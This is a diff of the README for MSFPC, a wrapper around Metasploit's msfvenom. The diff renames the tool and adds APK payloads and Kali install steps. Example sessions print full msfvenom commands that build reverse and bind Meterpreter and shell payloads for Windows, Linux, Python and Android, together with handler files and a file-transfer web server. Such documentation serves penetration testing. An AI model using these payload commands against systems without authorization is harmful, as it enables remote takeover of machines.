1
- ## Msfvenom Payload Creator (MPC )
1
+ ## MSFvenom Payload Creator (MSFPC )
2
2
3
3
A ** quick** way to generate various "basic" Meterpreter payloads via ` msfvenom ` (part of the Metasploit framework).
4
4
5
5
<p align =" center " >
6
- <img src =" http://i.imgur.com/rOqMdwp.png " alt =" mpc logo" />
6
+ <img src =" http://i.imgur.com/rOqMdwp.png " alt =" msfpc logo" />
7
7
</p >
8
8
9
9
@@ -12,59 +12,68 @@ A **quick** way to generate various "basic" Meterpreter payloads via `msfvenom`
12
12
13
13
## About
14
14
15
- Msfvenom Payload Creator (MPC ) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as ** simple as possible** (** only requiring one input** ) to produce their payload.
15
+ MSFvenom Payload Creator (MSFPC ) is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as ** simple as possible** (** only requiring one input** ) to produce their payload.
16
16
17
- ** Fully automating** msfvenom & Metasploit is the end goal _ (well as to be be able to automate MPC itself)_ .
17
+ ** Fully automating** msfvenom & Metasploit is the end goal _ (well as to be be able to automate MSFPC itself)_ .
18
18
The rest is to make the user's life as ** easy as possible** (e.g. ** IP selection menu** , ** msfconsole resource file/commands** , ** batch payload production** and able to enter ** any argument in any order** _ (in various formats/patterns)_ ).
19
19
20
20
The only necessary input from the user should be ** defining the payload** they want by either the ** platform** (e.g. ` windows ` ), or the ** file extension** they wish the payload to have (e.g. ` exe ` ).
21
21
22
22
* ** Can't remember your IP for a interface? Don't sweat it, just use the interface name** : ` eth0 ` .
23
- * ** Don't know what your external IP is? MPC will discover it** : ` wan ` .
23
+ * ** Don't know what your external IP is? MSFPC will discover it** : ` wan ` .
24
24
* ** Want to generate one of each payload? No issue!** Try: ` loop ` .
25
25
* ** Want to mass create payloads? Everything? Or to filter your select? ..Either way, its not a problem** . Try: ` batch ` (for everything), ` batch msf ` (for every Meterpreter option), ` batch staged ` (for every staged payload), or ` batch cmd stageless ` (for every stageless command prompt)!
26
26
27
27
_ Note: This will ** NOT** try to bypass any anti-virus solutions at any stage._
28
28
29
- ![ Msfvenom Payload Creator (MPC )] ( https://i.imgur.com/qxRwnYD .png )
29
+ ![ Msfvenom Payload Creator (MSFPC )] ( https://i.imgur.com/tN9q5iG .png )
30
30
31
31
32
32
- - -
33
33
34
34
35
35
## Install
36
36
37
- + Designed for ** Kali Linux v2.x** & ** Metasploit v4.11+** .
37
+ + Designed for ** Kali Linux v2.x/Rolling ** & ** Metasploit v4.11+** .
38
38
+ Kali v1.x should work.
39
39
+ OSX 10.11+ should work.
40
40
+ Weakerth4n 6+ should work.
41
41
+ _ ...nothing else has been tested._
42
42
43
43
```
44
- curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/mpc.sh" > /usr/bin/mpc
45
- chmod +x /usr/bin/mpc
46
- mpc
44
+ $ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/local/bin/msfpc
45
+ $ chmod 0755 /usr/local/bin/msfpc
47
46
```
48
47
48
+ ### Kali-Linux
49
+
50
+ MSFPC is already [ packaged] ( https://pkg.kali.org/pkg/msfpc ) in [ Kali Rolling] ( https://www.kali.org/ ) , so all you have to-do is:
51
+
52
+ ``` bash
53
+ root@kali:~ # apt install -y msfpc
54
+ ```
55
+
56
+
49
57
50
58
- - -
51
59
52
60
53
61
## Help
54
62
55
63
```
56
- root@kali:~# mpc -h -v
57
- [*] Msfvenom Payload Creator (MPC v1.4)
64
+ $ bash msfpc.sh -h -v
65
+ [*] MSFvenom Payload Creator (MSFPC v1.4 .4)
58
66
59
- /usr/bin/mpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
60
- Example: /usr/bin/mpc windows 192.168.1.10 # Windows & manual IP.
61
- /usr/bin/mpc elf bind eth0 4444 # Linux, eth0's IP & manual port.
62
- /usr/bin/mpc stageless cmd py https # Python, stageless command prompt.
63
- /usr/bin/mpc verbose loop eth1 # A payload for every type, using eth1's IP.
64
- /usr/bin/mpc msf batch wan # All possible Meterpreter payloads, using WAN IP.
65
- /usr/bin/mpc help verbose # Help screen, with even more information.
67
+ msfpc.sh <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
68
+ Example: msfpc.sh windows 192.168.1.10 # Windows & manual IP.
69
+ msfpc.sh elf bind eth0 4444 # Linux, eth0's IP & manual port.
70
+ msfpc.sh stageless cmd py https # Python, stageless command prompt.
71
+ msfpc.sh verbose loop eth1 # A payload for every type, using eth1's IP.
72
+ msfpc.sh msf batch wan # All possible Meterpreter payloads, using WAN IP.
73
+ msfpc.sh help verbose # Help screen, with even more information.
66
74
67
75
<TYPE>:
76
+ + APK
68
77
+ ASP
69
78
+ ASPX
70
79
+ Bash [.sh]
@@ -78,7 +87,7 @@ root@kali:~# mpc -h -v
78
87
+ Tomcat [.war]
79
88
+ Windows [.exe // .dll]
80
89
81
- Rather than putting <DOMAIN/IP>, you can do a interface and MPC will detect that IP address.
90
+ Rather than putting <DOMAIN/IP>, you can do a interface and MSFPC will detect that IP address.
82
91
Missing <DOMAIN/IP> will default to the IP menu.
83
92
84
93
Missing <PORT> will default to 443.
@@ -117,39 +126,38 @@ root@kali:~# mpc -h -v
117
126
<LOOP> will just create one of each <TYPE>.
118
127
119
128
<VERBOSE> will display more information.
120
- root@kali:~#
129
+ $
121
130
```
122
131
123
132
124
133
## Example \# 1 (Windows, Fully Automated Using Manual IP)
125
134
126
135
``` bash
127
- root@kali: ~ # bash mpc .sh windows 192.168.1.10
128
- [* ] Msfvenom Payload Creator (MPC v1.4)
136
+ $ bash msfpc .sh windows 192.168.1.10
137
+ [* ] MSFvenom Payload Creator (MSFPC v1.4 .4)
129
138
[i] IP: 192.168.1.10
130
139
[i] PORT: 443
131
140
[i] TYPE: windows (windows/meterpreter/reverse_tcp)
132
141
[i] CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
133
142
--platform windows -a x86 -e generic/none LHOST=192.168.1.10 LPORT=443 \
134
143
> ' /root/windows-meterpreter-staged-reverse-tcp-443.exe'
135
144
136
- [i] File (/root/windows-meterpreter-staged-reverse-tcp-443.exe) already exists. Overwriting...
137
145
[i] windows meterpreter created: ' /root/windows-meterpreter-staged-reverse-tcp-443.exe'
138
146
139
147
[i] MSF handler file: ' /root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
140
148
[i] Run: msfconsole -q -r ' /root/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
141
- [? ] Quick web server (for file transfer)? : python -m SimpleHTTPServer 8080
149
+ [? ] Quick web server (for file transfer)? : python2 -m SimpleHTTPServer 8080
142
150
[* ] Done!
143
- root@kali: ~ #
151
+ $
144
152
```
145
153
146
154
147
155
## Example \# 2 (Linux Format, Fully Automated Using Manual Interface and Port)
148
156
149
157
``` bash
150
- root@kali: ~ # ./mpc .sh elf bind eth0 4444 verbose
151
- [* ] Msfvenom Payload Creator (MPC v1.4)
152
- [i] IP: 192.168.103.183
158
+ $ ./msfpc .sh elf bind eth0 4444 verbose
159
+ [* ] MSFvenom Payload Creator (MSFPC v1.4 .4)
160
+ [i] IP: 192.168.103.142
153
161
[i] PORT: 4444
154
162
[i] TYPE: linux (linux/x86/shell/bind_tcp)
155
163
[i] SHELL: shell
@@ -160,7 +168,6 @@ root@kali:~# ./mpc.sh elf bind eth0 4444 verbose
160
168
--platform linux -a x86 -e generic/none LPORT=4444 \
161
169
> ' /root/linux-shell-staged-bind-tcp-4444.elf'
162
170
163
- [i] File (/root/linux-shell-staged-bind-tcp-4444.elf) already exists. Overwriting...
164
171
[i] linux shell created: ' /root/linux-shell-staged-bind-tcp-4444.elf'
165
172
166
173
[i] File: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
@@ -170,39 +177,38 @@ root@kali:~# ./mpc.sh elf bind eth0 4444 verbose
170
177
171
178
[i] MSF handler file: ' /root/linux-shell-staged-bind-tcp-4444-elf.rc'
172
179
[i] Run: msfconsole -q -r ' /root/linux-shell-staged-bind-tcp-4444-elf.rc'
173
- [? ] Quick web server (for file transfer)? : python -m SimpleHTTPServer 8080
180
+ [? ] Quick web server (for file transfer)? : python2 -m SimpleHTTPServer 8080
174
181
[* ] Done!
175
- root@kali: ~ #
182
+ $
176
183
```
177
184
178
185
179
186
## Example \# 3 (Python Format, Interactive IP Menu)
180
187
181
188
``` bash
182
- root@kali: ~ # mpc stageless cmd py tcp
183
- [* ] Msfvenom Payload Creator (MPC v1.4)
189
+ $ msfpc stageless cmd py tcp
190
+ [* ] MSFvenom Payload Creator (MSFPC v1.4 .4)
184
191
185
192
[i] Use which interface - IP address? :
186
- [i] 1.) eth0 - 192.168.103.183
187
- [i] 2.) tap0 - 10.10.100.63
188
- [i] 3.) lo - 127.0.0.1
189
- [i] 4.) wan - xxx.xxx.xxx.xxx
190
- [? ] Select 1-4, interface or IP address: 2
193
+ [i] 1.) eth0 - 192.168.103.142
194
+ [i] 2.) lo - 127.0.0.1
195
+ [i] 3.) wan - 31.204.154.174
196
+ [? ] Select 1-3, interface or IP address: 1
191
197
192
- [i] IP: 10.10.100.63
198
+ [i] IP: 192.168.103.142
193
199
[i] PORT: 443
194
200
[i] TYPE: python (python/shell_reverse_tcp)
195
201
[i] CMD: msfvenom -p python/shell_reverse_tcp -f raw \
196
- --platform python -e generic/none -a python LHOST=10.10.100.63 LPORT=443 \
202
+ --platform python -e generic/none -a python LHOST=192.168.103.142 LPORT=443 \
197
203
> ' /root/python-shell-stageless-reverse-tcp-443.py'
198
204
199
205
[i] python shell created: ' /root/python-shell-stageless-reverse-tcp-443.py'
200
206
201
207
[i] MSF handler file: ' /root/python-shell-stageless-reverse-tcp-443-py.rc'
202
208
[i] Run: msfconsole -q -r ' /root/python-shell-stageless-reverse-tcp-443-py.rc'
203
- [? ] Quick web server (for file transfer)? : python -m SimpleHTTPServer 8080
209
+ [? ] Quick web server (for file transfer)? : python2 -m SimpleHTTPServer 8080
204
210
[* ] Done!
205
- root@kali: ~ #
211
+ $
206
212
```
207
213
208
214
_ Note: Removed WAN IP._
@@ -211,37 +217,39 @@ _Note: Removed WAN IP._
211
217
## Example \# 4 (Loop - Generates one of everything)
212
218
213
219
``` bash
214
- root@kali: ~ # ./mpc .sh loop wan
215
- [* ] Msfvenom Payload Creator (MPC v1.4)
220
+ $ ./msfpc .sh loop wan
221
+ [* ] MSFvenom Payload Creator (MSFPC v1.4 .4)
216
222
[i] Loop Mode. Creating one of each TYPE, with default values
217
223
218
- [* ] Msfvenom Payload Creator (MPC v1.4)
224
+ [* ] MSFvenom Payload Creator (MSFPC v1.4 .4)
219
225
[i] IP: xxx.xxx.xxx.xxx
220
226
[i] PORT: 443
221
- [i] TYPE: windows (windows /meterpreter/reverse_tcp)
222
- [i] CMD: msfvenom -p windows /meterpreter/reverse_tcp -f asp \
223
- --platform windows -a x86 -e generic/none LHOST=xxx.xxx.xxx.xxx LPORT=443 \
224
- > ' /root/windows -meterpreter-staged -reverse-tcp-443.asp '
227
+ [i] TYPE: android (android /meterpreter/reverse_tcp)
228
+ [i] CMD: msfvenom -p android /meterpreter/reverse_tcp \
229
+ LHOST=xxx.xxx.xxx.xxx LPORT=443 \
230
+ > ' /root/android -meterpreter-stageless -reverse-tcp-443.apk '
225
231
226
- [i] windows meterpreter created: ' /root/windows -meterpreter-staged -reverse-tcp-443.asp '
232
+ [i] android meterpreter created: ' /root/android -meterpreter-stageless -reverse-tcp-443.apk '
227
233
228
- [i] MSF handler file: ' /root/windows -meterpreter-staged -reverse-tcp-443-asp .rc'
229
- [i] Run: msfconsole -q -r ' /root/windows -meterpreter-staged -reverse-tcp-443-asp .rc'
230
- [? ] Quick web server (for file transfer)? : python -m SimpleHTTPServer 8080
234
+ [i] MSF handler file: ' /root/android -meterpreter-stageless -reverse-tcp-443-apk .rc'
235
+ [i] Run: msfconsole -q -r ' /root/android -meterpreter-stageless -reverse-tcp-443-apk .rc'
236
+ [? ] Quick web server (for file transfer)? : python2 -m SimpleHTTPServer 8080
231
237
[* ] Done!
232
238
233
239
234
- [* ] Msfvenom Payload Creator (MPC v1.4)
240
+ [* ] MSFvenom Payload Creator (MSFPC v1.4.4)
241
+
235
242
...SNIP...
243
+
236
244
[* ] Done!
237
245
238
- root@kali ~ $
246
+ $
239
247
```
240
248
241
249
_ Note: Removed WAN IP._
242
250
243
251
244
- ![ Examples] ( https://i.imgur.com/lQFiqil .png )
252
+ ![ Examples] ( https://i.imgur.com/8zPx6p3 .png )
245
253
246
254
247
255
- - -
0 commit comments